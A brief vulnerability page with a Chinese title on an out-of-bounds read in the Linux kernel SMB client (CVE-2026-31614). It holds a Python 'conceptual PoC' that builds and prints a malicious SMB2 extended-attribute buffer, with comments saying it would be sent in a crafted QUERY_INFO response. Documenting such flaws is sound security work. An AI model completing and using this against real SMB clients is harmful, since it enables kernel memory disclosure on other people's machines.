CVE-2026-31614 Linux Kernel SMB Client越界读取漏洞

import struct # Conceptual PoC for CVE-2026-31614 # This script demonstrates how to construct a malicious SMB2 EA structure # that triggers the off-by-8 bounds check in the Linux kernel. def create_malicious_ea_buffer(): # The struct smb2_file_full_ea_info is 8 bytes: # uint32_t next_entry_offset # uint8_t flags # uint8_t ea_name_length # uint16_t ea_value_length # We set the lengths such that the data sits near the buffer end. # The kernel calculates end as (u8*)ea + nlen + 1 + vlen. # But reads start at ea->ea_data (offset 8). # If (ea + nlen + 1 + vlen) is within bounds, but (ea + 8 + nlen + 1 + vlen) is not, # we trigger the read overflow. header = struct.pack('<I', 0) # NextEntryOffset: 0 (Last entry) header += struct.pack('<B', 0) # Flags: 0 header += struct.pack('<B', 4) # EaNameLength: 4 (e.g., "Test") header += struct.pack('<H', 0) # EaValueLength: 0 ea_name = b'Test\x00' # Null-terminated name # No value payload needed for the leak demo, just the read attempt return header + ea_name if __name__ == "__main__": buf = create_malicious_ea_buffer() print(f"Malicious EA Buffer Length: {len(buf)} bytes") print(f"Buffer Hex: {buf.hex()}") # In a real exploit, this buffer would be sent via a crafted SMB2 QUERY_INFO response.